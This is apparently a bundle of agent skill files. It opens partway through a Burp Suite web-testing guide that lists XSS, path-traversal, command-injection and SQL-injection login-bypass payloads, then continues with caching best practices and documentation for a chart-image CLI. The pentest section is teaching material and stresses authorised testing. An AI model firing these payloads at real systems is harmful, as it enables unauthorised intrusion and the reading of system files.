onerror=alert(1)>\njavascript:alert(1)\n\n# Path Traversal\n../../../etc/passwd\n..\\..\\..\\..\\windows\\win.ini\n\n# Command Injection\n; ls -la\n| cat /etc/passwd\n`whoami`\n```\n\n### Request Modification Tips\n- Right-click for context menu options\n- Use decoder for encoding/decoding\n- Compare requests using Comparer tool\n- Save interesting requests to project\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Test only authorized applications\n- Configure scope to prevent accidental out-of-scope testing\n- Rate-limit scans to avoid denial of service\n- Document all findings and actions\n\n### Technical Limitations\n- Community Edition lacks automated scanner\n- Some sites may block proxy traffic\n- HSTS/certificate pinning may require additional configuration\n- Heavy scanning may trigger WAF blocks\n\n### Best Practices\n- Always set target scope before extensive testing\n- Use Burp's browser for reliable interception\n- Save project regularly to preserve work\n- Review scan results manually for false positives\n\n## Examples\n\n### Example 1: Business Logic Testing\n\n**Scenario**: E-commerce price manipulation\n\n1. Add item to cart normally, intercept request\n2. Identify `price=9999` parameter in POST body\n3. Modify to `price=1`\n4. Forward request\n5. Complete checkout at manipulated price\n\n**Finding**: Server trusts client-provided price values.\n\n### Example 2: Authentication Bypass\n\n**Scenario**: Testing login form\n\n1. Submit valid credentials, capture request in Repeater\n2. Send to Repeater for testing\n3. Try: `username=admin' OR '1'='1'--`\n4. Observe successful login response\n\n**Finding**: SQL injection in authentication.\n\n### Example 3: Information Disclosure\n\n**Scenario**: Error-based information gathering\n\n1. Navigate to product page, observe `productId` parameter\n2. Send request to Repeater\n3. Change `productId=1` to `productId=test`\n4. Observe verbose error revealing framework version\n\n**Finding**: Apache Struts 2.5.12 disclosed in stack trace.\n\n## Troubleshooting\n\n### Browser Not Connecting Through Proxy\n- Verify proxy listener is active (Proxy > Options)\n- Check browser proxy settings point to 127.0.0.1:8080\n- Ensure no firewall blocking local connections\n- Use Burp's embedded browser for reliable setup\n\n### HTTPS Interception Failing\n- Install Burp CA certificate in browser/system\n- Navigate to http://burp to download certificate\n- Add certificate to trusted roots\n- Restart browser after installation\n\n### Slow Performance\n- Limit scope to reduce processing\n- Disable unnecessary extensions\n- Increase Java heap size in startup options\n- Close unused Burp tabs and features\n\n### Requests Not Being Intercepted\n- Verify \"Intercept on\" is enabled\n- Check intercept rules aren't filtering target\n- Ensure browser is using Burp proxy\n- Verify target isn't using unsupported protocol\n\n<!-- File: skills/caching/SKILL.md (Tokens: ~1579 | Category: anthropic-skill) -->\n---\nname: caching\ndescription: Caching strategies — invalidation, TTL guidelines, cache keys, cache layers, and when not to cache. Use when implementing or reviewing caching logic.\n---\n## WHEN_TO_USE\n\n- When implementing a cache layer (in-memory, Redis, CDN) for an API or service.\n- When choosing TTL values or invalidation strategies for cached data.\n- When designing cache key schemas to avoid collisions or stale-data bugs.\n- When reviewing code that reads from or writes to any cache.\n- When debugging stale data, cache stampedes, or inconsistent responses.\n- When configuring TanStack Query `staleTime`/`gcTime` for client-side caching.\n\n## INVALIDATION\n\n- [P0-MUST] Define an invalidation strategy for every cache. Stale data is worse than no cache.\n- [P0-MUST] Invalidate caches when the underlying data changes — do not rely solely on TTL expiry.\n- [P1-SHOULD] Prefer event-driven invalidation (on write/update/delete) over time-based expiry alone.\n- [P1-SHOULD] Use cache versioning (include a version key) when data schemas change.\n\n## TTL_GUIDELINES\n\n- [P1-SHOULD] Set TTLs based on data volatility: static config (hours/days), user profiles (minutes), real-time data (seconds or no cache).\n- [P1-SHOULD] Use stale-while-revalidate: serve stale data immediately while refreshing in the background.\n- [P2-MAY] Use shorter TTLs in development and longer TTLs in production.\n\n## CACHE_KEYS\n\n- [P0-MUST] Include all query parameters that affect the result in the cache key.\n- [P1-SHOULD] Use a consistent key format: `<entity>:<id>:<variant>` (e.g., `user:123:profile`, `products:list:page=2`).\n- [P1-SHOULD] Namespace keys by service or module to prevent collisions.\n- [P2-MAY] Hash long or complex keys to keep storage efficient.\n\n## CACHE_LAYERS\n\n- [P1-SHOULD] Use the appropriate cache layer for the use case:\n\n| Layer | Best For | TTL Range |\n|-------|----------|-----------|\n| In-memory (Map, LRU) | Hot data, single-instance apps | Seconds to minutes |\n| Redis / Memcached | Shared cache across instances, sessions | Minutes to hours |\n| CDN / Edge | Static assets, public API responses | Hours to days |\n| HTTP cache headers | Browser caching, API responses | Varies by resource |\n\n- [P1-SHOULD] Layer caches: check memory → Redis → origin. Write-through on miss.\n\n## WHEN_NOT_TO_CACHE\n\n- [P0-MUST] Do not cache user-specific sensitive data (auth tokens, payment info) in shared caches.\n- [P1-SHOULD] Do not cache rapidly changing data where staleness causes incorrect behavior (inventory counts, real-time pricing).\n- [P1-SHOULD] Do not cache error responses — use short TTL or skip caching on failure.\n- [P2-MAY] Avoid caching when the computation is cheap and the data set is small.\n\n## CODE_EXAMPLES\n\n### In-memory LRU cache with TTL\n\n```ts\nconst cache = new Map<string, { value: unknown; expires: number }>();\nconst MAX_SIZE = 500;\n\nexport function getOrSet<T>(key: string, ttlMs: number, compute: () => T): T {\n  const entry = cache.get(key);\n  if (entry && entry.expires > Date.now()) return entry.value as T;\n\n  const value = compute();\n  if (cache.size >= MAX_SIZE) {\n    // Evict oldest entry (first inserted)\n    const oldest = cache.keys().next().value!;\n    cache.delete(oldest);\n  }\n  cache.set(key, { value, expires: Date.now() + ttlMs });\n  return value;\n}\n```\n\n### Redis stale-while-revalidate with ioredis\n\n```ts\nimport Redis from \"ioredis\";\nconst redis = new Redis(process.env.REDIS_URL);\n\nexport async function swr<T>(\n  key: string,\n  freshSec: number,\n  staleSec: number,\n  fetcher: () => Promise<T>,\n): Promise<T> {\n  const raw = await redis.get(key);\n  if (raw) {\n    const { value, createdAt } = JSON.parse(raw) as { value: T; createdAt: number };\n    const ageMs = Date.now() - createdAt;\n    if (ageMs < freshSec * 1000) return value; // Fresh — return immediately\n    if (ageMs < staleSec * 1000) {\n      // Stale — return cached, refresh in background\n      fetcher().then((v) =>\n        redis.set(key, JSON.stringify({ value: v, createdAt: Date.now() }), \"EX\", staleSec),\n      );\n      return value;\n    }\n  }\n  const value = await fetcher();\n  await redis.set(key, JSON.stringify({ value, createdAt: Date.now() }), \"EX\", staleSec);\n  return value;\n}\n```\n\n### HTTP cache headers in Express/Hono\n\n```ts\n// Immutable assets (hashed filenames)\napp.use(\"/assets\", (_, res, next) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=31536000, immutable\");\n  next();\n});\n\n// API responses — short cache with revalidation\napp.get(\"/api/products\", (_, res) => {\n  res.setHeader(\"Cache-Control\", \"public, max-age=60, stale-while-revalidate=300\");\n  res.json(products);\n});\n```\n\n### TanStack Query cache configuration\n\n```tsx\nimport { QueryClient, QueryClientProvider } from \"@tanstack/react-query\";\n\nconst queryClient = new QueryClient({\n  defaultOptions: {\n    queries: {\n      staleTime: 5 * 60 * 1000, // Data fresh for 5 minutes\n      gcTime: 30 * 60 * 1000,   // Garbage-collect after 30 minutes\n      retry: 2,\n      refetchOnWindowFocus: false,\n    },\n  },\n});\n\n// Usage in a component\nconst { data } = useQuery({\n  queryKey: [\"products\", { page, category }], // Cache key includes params\n  queryFn: () => fetchProducts({ page, category }),\n});\n```\n\n## ANTI_PATTERNS\n\n- **Cache-and-forget** — Caching data with no invalidation strategy. Data goes stale permanently.\n  - Instead: define explicit invalidation (event-driven on write, or bounded TTL) for every cache key.\n\n- **Uniform TTL** — Using the same TTL (e.g., 1 hour) for all data regardless of volatility.\n  - Instead: match TTL to data change frequency — seconds for prices, minutes for profiles, hours for configs.\n\n- **Missing key parameters** — Cache key omits user ID, locale, or query params, serving wrong data.\n  - Instead: include every parameter that affects the result: `products:list:page=2:locale=en`.\n\n- **Caching errors** — Storing error responses (500s, timeouts) with long TTLs.\n  - Instead: skip caching on failure, or use a very short TTL (5-10 seconds) to allow fast retry.\n\n- **Cache stampede** — All instances hit the origin simultaneously when a popular key expires.\n  - Instead: use stale-while-revalidate, jittered TTLs, or a mutex lock to let one instance refresh.\n\n<!-- File: skills/chart-image/README.md (Tokens: ~3070 | Category: anthropic-skill) -->\n# 📊 chart-image\n\n**Publication-quality chart images from data. No browser, no Puppeteer, no native compilation.**\n\nGenerate beautiful PNG charts directly from JSON data — perfect for bots, dashboards, alerts, and automated reports. Runs anywhere Node.js runs.\n\n![Line chart example](readme-assets/framed-line.png)\n\n## Why chart-image?\n\nMost chart libraries need a browser (Puppeteer, Playwright) or native dependencies (`canvas`, `cairo`). That means 400MB+ installs, painful Docker builds, and slow cold starts.\n\n**chart-image uses Vega-Lite + Sharp with prebuilt binaries:**\n\n| | chart-image | Puppeteer + Chart.js | QuickChart.io |\n|---|---|---|---|\n| **Install size** | ~15MB | ~400MB+ | 0 (API) |\n| **Native deps** | None | Chromium | N/A |\n| **Cold start** | <500ms | 2-5s | Network latency |\n| **Offline** | ✅ | ✅ | ❌ |\n| **Fly.io/Docker** | Just works | Pain | Depends on uptime |\n\n## Install\n\n### Via ClawHub (recommended)\n```bash\nclawhub install chart-image\n```\n\n### Manual\n```bash\ngit clone https://github.com/Cluka-399/chart-image.git skills/chart-image\ncd skills/chart-image/scripts && npm install\n```\n\n## Quick Start\n\n```bash\nnode scripts/chart.mjs \\\n  --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":10},{\"x\":\"Tue\",\"y\":25},{\"x\":\"Wed\",\"y\":18}]' \\\n  --title \"Weekly Trend\" \\\n  --dark \\\n  --output chart.png\n```\n\nThat's it. One command, one PNG.\n\n---\n\n## Chart Types\n\n### 📈 Line Chart\n\nTrack trends over time. The default chart type.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Mon\",\"y\":142},{\"x\":\"Tue\",\"y\":148},{\"x\":\"Wed\",\"y\":145},{\"x\":\"Thu\",\"y\":155},{\"x\":\"Fri\",\"y\":162}]' \\\n  --title \"AAPL Weekly Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --output chart.png\n```\n\n![Line chart](readme-assets/framed-line.png)\n\n### 📊 Bar Chart\n\nCompare categories side by side.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"x\":\"React\",\"y\":45},{\"x\":\"Vue\",\"y\":28},{\"x\":\"Svelte\",\"y\":15},{\"x\":\"Angular\",\"y\":12}]' \\\n  --title \"Framework Usage %\" --output chart.png\n```\n\n![Bar chart](readme-assets/framed-bar.png)\n\n### 🌊 Area Chart\n\nLike line charts, but with filled regions to emphasize volume.\n\n```bash\nnode scripts/chart.mjs --type area \\\n  --data '[{\"x\":\"Jan\",\"y\":100},{\"x\":\"Feb\",\"y\":250},{\"x\":\"Mar\",\"y\":180},{\"x\":\"Apr\",\"y\":420},{\"x\":\"May\",\"y\":380},{\"x\":\"Jun\",\"y\":520}]' \\\n  --title \"Monthly Signups\" --dark --output chart.png\n```\n\n![Area chart](readme-assets/framed-area.png)\n\n### 🍩 Donut / Pie Chart\n\nShow proportions at a glance. Use `--type pie` for a solid circle or `--type donut` for the ring style.\n\n```bash\nnode scripts/chart.mjs --type donut \\\n  --data '[{\"x\":\"Desktop\",\"y\":58},{\"x\":\"Mobile\",\"y\":35},{\"x\":\"Tablet\",\"y\":7}]' \\\n  --title \"Traffic by Device\" --dark --output chart.png\n```\n\n![Donut chart](readme-assets/framed-donut.png)\n\n### 📉 Multi-Series Line\n\nCompare multiple trends on one chart using `--series-field`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Q1\",\"y\":30,\"series\":\"2024\"},{\"x\":\"Q2\",\"y\":45,\"series\":\"2024\"},{\"x\":\"Q3\",\"y\":52,\"series\":\"2024\"},{\"x\":\"Q4\",\"y\":61,\"series\":\"2024\"},{\"x\":\"Q1\",\"y\":40,\"series\":\"2025\"},{\"x\":\"Q2\",\"y\":58,\"series\":\"2025\"},{\"x\":\"Q3\",\"y\":72,\"series\":\"2025\"}]' \\\n  --title \"Revenue Growth\" --y-title \"Revenue ($M)\" \\\n  --series-field series --dark --legend top --output chart.png\n```\n\n![Multi-series chart](readme-assets/framed-multi.png)\n\n### 📏 Horizontal Reference Lines\n\nAdd thresholds, targets, or buy prices with `--hline`.\n\n```bash\nnode scripts/chart.mjs --type line \\\n  --data '[{\"x\":\"Jan 1\",\"y\":0.00072},{\"x\":\"Jan 5\",\"y\":0.00085},{\"x\":\"Jan 10\",\"y\":0.00091},{\"x\":\"Jan 15\",\"y\":0.00078},{\"x\":\"Jan 20\",\"y\":0.00062},{\"x\":\"Jan 25\",\"y\":0.00071}]' \\\n  --title \"Token Price\" --y-title \"Price (USD)\" \\\n  --dark --show-values --hline \"0.0008,#e63946,Buy Price\" --output chart.png\n```\n\n![Reference line chart](readme-assets/framed-hline.png)\n\n### 🎨 Conditional Colors\n\nColor bars/points based on a threshold — great for KPI dashboards.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"month\":\"Jan\",\"score\":72},{\"month\":\"Feb\",\"score\":45},{\"month\":\"Mar\",\"score\":38},{\"month\":\"Apr\",\"score\":61},{\"month\":\"May\",\"score\":29},{\"month\":\"Jun\",\"score\":55},{\"month\":\"Jul\",\"score\":82},{\"month\":\"Aug\",\"score\":47},{\"month\":\"Sep\",\"score\":68},{\"month\":\"Oct\",\"score\":34},{\"month\":\"Nov\",\"score\":76},{\"month\":\"Dec\",\"score\":91}]' \\\n  --x-field month --y-field score --x-sort none \\\n  --conditional-color \"50,#e63946,#2a9d8f\" --hline \"50,#888,Target\" \\\n  --title \"Monthly Performance Score\" --subtitle \"Target: 50\" --dark\n```\n\n![Conditional color chart](readme-assets/framed-conditional.png)\n\n### ↔️ Horizontal Bar Charts\n\nFlip axes for leaderboards, rankings, or long category names.\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data '[{\"lang\":\"Python\",\"stars\":95},{\"lang\":\"JavaScript\",\"stars\":82},{\"lang\":\"TypeScript\",\"stars\":78},{\"lang\":\"Rust\",\"stars\":71},{\"lang\":\"Go\",\"stars\":63},{\"lang\":\"Java\",\"stars\":58},{\"lang\":\"C++\",\"stars\":45},{\"lang\":\"Swift\",\"stars\":38}]' \\\n  --x-field lang --y-field stars --horizontal --sort desc \\\n  --conditional-color \"60,#e63946,#2a9d8f\" --bar-labels \\\n  --title \"GitHub Stars by Language\" --dark\n```\n\n![Horizontal bar chart](readme-assets/framed-horizontal-bar.png)\n\n### More Chart Types\n\n- **`point`** — Scatter plot\n- **`candlestick`** — OHLC financial charts (`--open-field`, `--high-field`, `--low-field`, `--close-field`)\n- **`heatmap`** — Grid visualization (`--color-value-field`, `--color-scheme viridis`)\n- **Stacked bars** — `--type bar --stacked --color-field category`\n- **Volume overlay** — Dual Y-axis with `--volume-field`\n- **Sparkline** — Tiny inline charts with `--sparkline` (80×20, no axes)\n\n---\n\n## Shorthand Syntax\n\nDon't want to write JSON? Use the shorthand format:\n\n```bash\nnode scripts/chart.mjs --type bar \\\n  --data \"Mon:10,Tue:25,Wed:18,Thu:30,Fri:22,Sat:35,Sun:28\" \\\n  --title \"Weekly Activity\" --dark --output chart.png\n```\n\n![Shorthand example](readme-assets/framed-shorthand.png)\n\nFormat: `label:value,label:value,...`\n\n---\n\n## Dark Mode & Light Mode\n\nUse `--dark` for dark backgrounds (great for Discord, Slack, dark dashboards):\n\n![Dark mode](readme-assets/framed-horizontal.png)\n\nOmit `--dark` for light mode (reports, emails, light UIs):\n\n![Light mode](readme-assets/framed-bar.png)\n\n**Tip for bots:** Auto-switch based on time of day — `--dark` between 20:00–07:00.\n\n---\n\n## Alert-Style Charts\n\nBuilt-in options for monitoring and alerting use cases:\n\n```bash\nnode scripts/chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\n| Flag | Effect |\n|------|--------|\n| `--show-change` | Annotates % change from first to last value |\n| `--focus-change` | Zooms Y-axis to 2× data range for drama |\n| `--focus-recent N` | Shows only the last N data points |\n| `--show-values` | Labels min/max peaks on the chart |\n\n---\n\n## Piping Data\n\nRead from stdin:\n\n```bash\ncurl -s api.example.com/metrics | node scripts/chart.mjs --type line --dark --output metrics.png\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node scripts/chart.mjs --output out.png\n```\n\n---\n\n## Options Reference\n\n### Core\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | `line`, `bar`, `area`, `point`, `pie`, `donut`, `candlestick`, `heatmap` | `line` |\n| `--data` | JSON array or shorthand `key:val,...` | stdin |\n| `--output` | Output file path | `chart.png` |\n| `--title` | Chart title | — |\n| `--subtitle` | Subtitle below title | — |\n| `--width` | Width in px | `600` |\n| `--height` | Height in px | `300` |\n| `--dark` | Dark theme | `false` |\n| `--svg` | Output SVG instead of PNG | `false` |\n\n### Axes\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | X axis field name | `x` |\n| `--y-field` | Y axis field name | `y` |\n| `--x-title` / `--y-title` | Axis labels | field name |\n| `--x-type` | `ordinal`, `temporal`, `quantitative` | `ordinal` |\n| `--y-domain` | Y range as `\"min,max\"` | auto |\n| `--y-format` | `percent`, `dollar`, `compact`, `decimal4`, `integer`, `scientific` | auto |\n\n### Styling\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Primary color | `#e63946` |\n| `--color-scheme` | Vega scheme (e.g. `viridis`, `category10`) | — |\n| `--no-grid` | Remove gridlines | `false` |\n| `--legend` | `top`, `bottom`, `left`, `right`, `none` | — |\n| `--hline` | Reference line: `\"value,color,label\"` (repeatable) | — |\n\n### Multi-Series\n| Option | Description |\n|--------|-------------|\n| `--series-field` | Field to split into multiple lines |\n| `--stacked` | Stack bars/areas |\n| `--color-field` | Field for color encoding |\n\n### Annotations\n| Option | Description |\n|--------|-------------|\n| `--show-change` | Show % change annotation |\n| `--focus-change` | Zoom Y to highlight change |\n| `--focus-recent N` | Show last N points only |\n| `--show-values` | Label min/max peaks |\n| `--annotations` | JSON array of event markers: `[{\"x\":\"14:00\",\"label\":\"News\"}]` |\n\n---\n\n## Y-Axis Formatting\n\n```bash\n--y-format dollar    # → $1,234.56\n--y-format percent   # → 45.2%\n--y-format compact   # → 1.2K, 3.4M\n--y-format decimal4  # → 0.0004\n--y-format integer   # → 1,234\n```\n\nOr pass any [d3-format](https://github.com/d3/d3-format) string: `--y-format ',.3f'`\n\n---\n\n## Designed for Fly.io / VPS / Docker\n\nThis skill was built specifically for headless server environments where you can't (or don't want to) install a browser:\n\n- **Fly.io** — Works out of the box on `flyctl deploy`. No special Dockerfile needed.\n- **Docker** — No `apt-get install` for Cairo/Pango/etc. Just `npm install`.\n- **VPS** — Runs on any machine with Node.js 18+. No GPU, no display server.\n- **CI/CD** — Generate charts in GitHub Actions, GitLab CI, etc.\n\nThe secret: [Vega-Lite](https://vega.github.io/vega-lite/) renders to SVG natively, then [Sharp](https://sharp.pixelplumbing.com/) (with prebuilt libvips binaries) converts to PNG. No browser in the loop.\n\n---\n\n## License\n\nMIT\n\n---\n\n<p align=\"center\">\n  <sub>Built by <a href=\"https://clawhub.ai/u/Cluka-399\">@Cluka-399</a> · Published on <a href=\"https://clawhub.ai\">ClawHub</a> · <a href=\"https://github.com/Cluka-399/chart-image\">GitHub</a></sub>\n</p>\n\n<!-- File: skills/chart-image/scripts/package.json (Tokens: ~61 | Category: anthropic-skill) -->\n{\n  \"name\": \"chart-image-scripts\",\n  \"type\": \"module\",\n  \"dependencies\": {\n    \"vega\": \"^5.30.0\",\n    \"vega-lite\": \"^5.21.0\",\n    \"sharp\": \"^0.33.0\"\n  }\n}\n\n<!-- File: skills/chart-image/SKILL.md (Tokens: ~2935 | Category: anthropic-skill) -->\n---\nname: chart-image\nversion: 2.5.1\ndescription: \"Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts. Triggers when the user asks to visualize data, create a graph, plot a time series, or generate a chart for a report, alert, or dashboard. Runs as a lightweight, headless Node.js process without a browser.\"\n---\n\n# Chart Image Generator\n\nGenerate PNG chart images from data using Vega-Lite. Perfect for headless server environments.\n\n## Why This Skill?\n\n**Built for Fly.io / VPS / Docker deployments:**\n- ✅ **No native compilation** - Uses Sharp with prebuilt binaries (unlike `canvas` which requires build tools)\n- ✅ **No Puppeteer/browser** - Pure Node.js, no Chrome download, no headless browser overhead\n- ✅ **Lightweight** - ~15MB total dependencies vs 400MB+ for Puppeteer-based solutions\n- ✅ **Fast cold starts** - No browser spinup delay, generates charts in <500ms\n- ✅ **Works offline** - No external API calls (unlike QuickChart.io)\n\n## Setup (one-time)\n\n```bash\ncd \"${CLAUDE_SKILL_DIR}/scripts\" && npm install\n```\n\n## Quick Usage\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" \\\n  --type line \\\n  --data '[{\"x\":\"10:00\",\"y\":25},{\"x\":\"10:30\",\"y\":27},{\"x\":\"11:00\",\"y\":31}]' \\\n  --title \"Price Over Time\" \\\n  --output chart.png\n```\n\nThe examples below shorten the script path to `chart.mjs`.\n\n## Chart Types\n\n### Line Chart (default)\n```bash\nnode chart.mjs --type line --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output line.png\n```\n\n### Bar Chart\n```bash\nnode chart.mjs --type bar --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output bar.png\n```\n\n### Area Chart\n```bash\nnode chart.mjs --type area --data '[{\"x\":\"A\",\"y\":10},{\"x\":\"B\",\"y\":15}]' --output area.png\n```\n\n### Pie / Donut Chart\n```bash\n# Pie\nnode chart.mjs --type pie --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output pie.png\n\n# Donut (with hole)\nnode chart.mjs --type donut --data '[{\"category\":\"A\",\"value\":30},{\"category\":\"B\",\"value\":70}]' \\\n  --category-field category --y-field value --output donut.png\n```\n\n### Candlestick Chart (OHLC)\n```bash\nnode chart.mjs --type candlestick \\\n  --data '[{\"x\":\"Mon\",\"open\":100,\"high\":110,\"low\":95,\"close\":105}]' \\\n  --open-field open --high-field high --low-field low --close-field close \\\n  --title \"Stock Price\" --output candle.png\n```\n\n### Heatmap\n```bash\nnode chart.mjs --type heatmap \\\n  --data '[{\"x\":\"Mon\",\"y\":\"Week1\",\"value\":5},{\"x\":\"Tue\",\"y\":\"Week1\",\"value\":8}]' \\\n  --color-value-field value --color-scheme viridis \\\n  --title \"Activity Heatmap\" --output heatmap.png\n```\n\n### Multi-Series Line Chart\nCompare multiple trends on one chart:\n```bash\nnode chart.mjs --type line --series-field \"market\" \\\n  --data '[{\"x\":\"Jan\",\"y\":10,\"market\":\"A\"},{\"x\":\"Jan\",\"y\":15,\"market\":\"B\"}]' \\\n  --title \"Comparison\" --output multi.png\n```\n\n### Stacked Bar Chart\n```bash\nnode chart.mjs --type bar --stacked --color-field \"category\" \\\n  --data '[{\"x\":\"Mon\",\"y\":10,\"category\":\"Work\"},{\"x\":\"Mon\",\"y\":5,\"category\":\"Personal\"}]' \\\n  --title \"Hours by Category\" --output stacked.png\n```\n\n### Volume Overlay (Dual Y-axis)\nPrice line with volume bars:\n```bash\nnode chart.mjs --type line --volume-field volume \\\n  --data '[{\"x\":\"10:00\",\"y\":100,\"volume\":5000},{\"x\":\"11:00\",\"y\":105,\"volume\":3000}]' \\\n  --title \"Price + Volume\" --output volume.png\n```\n\n### Sparkline (mini inline chart)\n```bash\nnode chart.mjs --sparkline --data '[{\"x\":\"1\",\"y\":10},{\"x\":\"2\",\"y\":15}]' --output spark.png\n```\nSparklines are 80x20 by default, transparent, no axes.\n\n## Options Reference\n\n### Basic Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--type` | Chart type: line, bar, area, point, pie, donut, candlestick, heatmap | line |\n| `--data` | JSON array of data points | - |\n| `--output` | Output file path | chart.png |\n| `--title` | Chart title | - |\n| `--width` | Width in pixels | 600 |\n| `--height` | Height in pixels | 300 |\n\n### Axis Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--x-field` | Field name for X axis | x |\n| `--y-field` | Field name for Y axis | y |\n| `--x-title` | X axis label | field name |\n| `--y-title` | Y axis label | field name |\n| `--x-type` | X axis type: ordinal, temporal, quantitative | ordinal |\n| `--y-domain` | Y scale as \"min,max\" | auto |\n\n### Visual Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color` | Line/bar color | #e63946 |\n| `--dark` | Dark mode theme | false |\n| `--svg` | Output SVG instead of PNG | false |\n| `--color-scheme` | Vega color scheme (category10, viridis, etc.) | - |\n\n### Alert/Monitor Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--show-change` | Show +/-% change annotation at last point | false |\n| `--focus-change` | Zoom Y-axis to 2x data range | false |\n| `--focus-recent N` | Show only last N data points | all |\n| `--show-values` | Label min/max peak points | false |\n\n### Multi-Series/Stacked Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--series-field` | Field for multi-series line charts | - |\n| `--stacked` | Enable stacked bar mode | false |\n| `--color-field` | Field for stack/color categories | - |\n\n### Candlestick Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--open-field` | OHLC open field | open |\n| `--high-field` | OHLC high field | high |\n| `--low-field` | OHLC low field | low |\n| `--close-field` | OHLC close field | close |\n\n### Pie/Donut Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--category-field` | Field for pie slice categories | x |\n| `--donut` | Render as donut (with center hole) | false |\n\n### Heatmap Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--color-value-field` | Field for heatmap intensity | value |\n| `--y-category-field` | Y axis category field | y |\n\n### Dual-Axis Options (General)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y2-field` | Second Y axis field (independent right axis) | - |\n| `--y2-title` | Title for second Y axis | field name |\n| `--y2-color` | Color for second series | #60a5fa (dark) / #2563eb (light) |\n| `--y2-type` | Chart type for second axis: line, bar, area | line |\n\n**Example:** Revenue bars (left) + Churn area (right):\n```bash\nnode chart.mjs \\\n  --data '[{\"month\":\"Jan\",\"revenue\":12000,\"churn\":4.2},...]' \\\n  --x-field month --y-field revenue --type bar \\\n  --y2-field churn --y2-type area --y2-color \"#60a5fa\" \\\n  --y-title \"Revenue ($)\" --y2-title \"Churn (%)\" \\\n  --x-sort none --dark --title \"Revenue vs Churn\"\n```\n\n### Volume Overlay Options (Candlestick)\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--volume-field` | Field for volume bars (enables dual-axis) | - |\n| `--volume-color` | Color for volume bars | #4a5568 |\n\n### Formatting Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--y-format` | Y axis format: percent, dollar, compact, decimal4, integer, scientific, or d3-format string | auto |\n| `--subtitle` | Subtitle text below chart title | - |\n| `--hline` | Horizontal reference line: \"value\" or \"value,color\" or \"value,color,label\" (repeatable) | - |\n\n### Annotation Options\n| Option | Description | Default |\n|--------|-------------|---------|\n| `--annotation` | Static text annotation | - |\n| `--annotations` | JSON array of event markers | - |\n\n## Alert-Style Chart (recommended for monitors)\n\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --title \"Iran Strike Odds (48h)\" \\\n  --show-change --focus-change --show-values --dark \\\n  --output alert.png\n```\n\nFor recent action only:\n```bash\nnode chart.mjs --type line --data '[hourly data...]' \\\n  --focus-recent 4 --show-change --focus-change --dark \\\n  --output recent.png\n```\n\n## Timeline Annotations\n\nMark events on the chart:\n```bash\nnode chart.mjs --type line --data '[...]' \\\n  --annotations '[{\"x\":\"14:00\",\"label\":\"News broke\"},{\"x\":\"16:30\",\"label\":\"Press conf\"}]' \\\n  --output annotated.png\n```\n\n## Temporal X-Axis\n\nFor proper time series with date gaps:\n```bash\nnode chart.mjs --type line --x-type temporal \\\n  --data '[{\"x\":\"2026-01-01\",\"y\":10},{\"x\":\"2026-01-15\",\"y\":20}]' \\\n  --output temporal.png\n```\n\nUse `--x-type temporal` when X values are ISO dates and you want spacing to reflect actual time gaps (not evenly spaced).\n\n## Y-Axis Formatting\n\nFormat axis values for readability:\n```bash\n# Dollar amounts\nnode chart.mjs --data '[...]' --y-format dollar --output revenue.png\n# → $1,234.56\n\n# Percentages (values as decimals 0-1)\nnode chart.mjs --data '[...]' --y-format percent --output rates.png\n# → 45.2%\n\n# Compact large numbers\nnode chart.mjs --data '[...]' --y-format compact --output users.png\n# → 1.2K, 3.4M\n\n# Crypto prices (4 decimal places)\nnode chart.mjs --data '[...]' --y-format decimal4 --output molt.png\n# → 0.0004\n\n# Custom d3-format string\nnode chart.mjs --data '[...]' --y-format ',.3f' --output custom.png\n```\n\nAvailable shortcuts: `percent`, `dollar`/`usd`, `compact`, `integer`, `decimal2`, `decimal4`, `scientific`\n\n## Chart Subtitle\n\nAdd context below the title:\n```bash\nnode chart.mjs --title \"MOLT Price\" --subtitle \"20,668 MOLT held\" --data '[...]' --output molt.png\n```\n\n## Theme Selection\n\nUse `--dark` for dark mode. Auto-select based on time:\n- **Night (20:00-07:00 local)**: `--dark`\n- **Day (07:00-20:00 local)**: light mode (default)\n\n## Piping Data\n\n```bash\necho '[{\"x\":\"A\",\"y\":1},{\"x\":\"B\",\"y\":2}]' | node chart.mjs --output out.png\n```\n\n## Custom Vega-Lite Spec\n\nFor advanced charts:\n```bash\nnode chart.mjs --spec my-spec.json --output custom.png\n```\n\n## Deliver the Image\n\nAfter generating a chart, save the PNG in the user's project (not `/tmp/`, which may get cleaned) and tell the user the file path.\nDon't just describe the chart — the whole point is the visual.\n\n```bash\nnode \"${CLAUDE_SKILL_DIR}/scripts/chart.mjs\" --type line --data '...' --output ./my-chart.png\n```\n\n**Tips:**\n- Include a brief caption saying what the chart shows\n- Use `--dark` at night or for dark-themed destinations 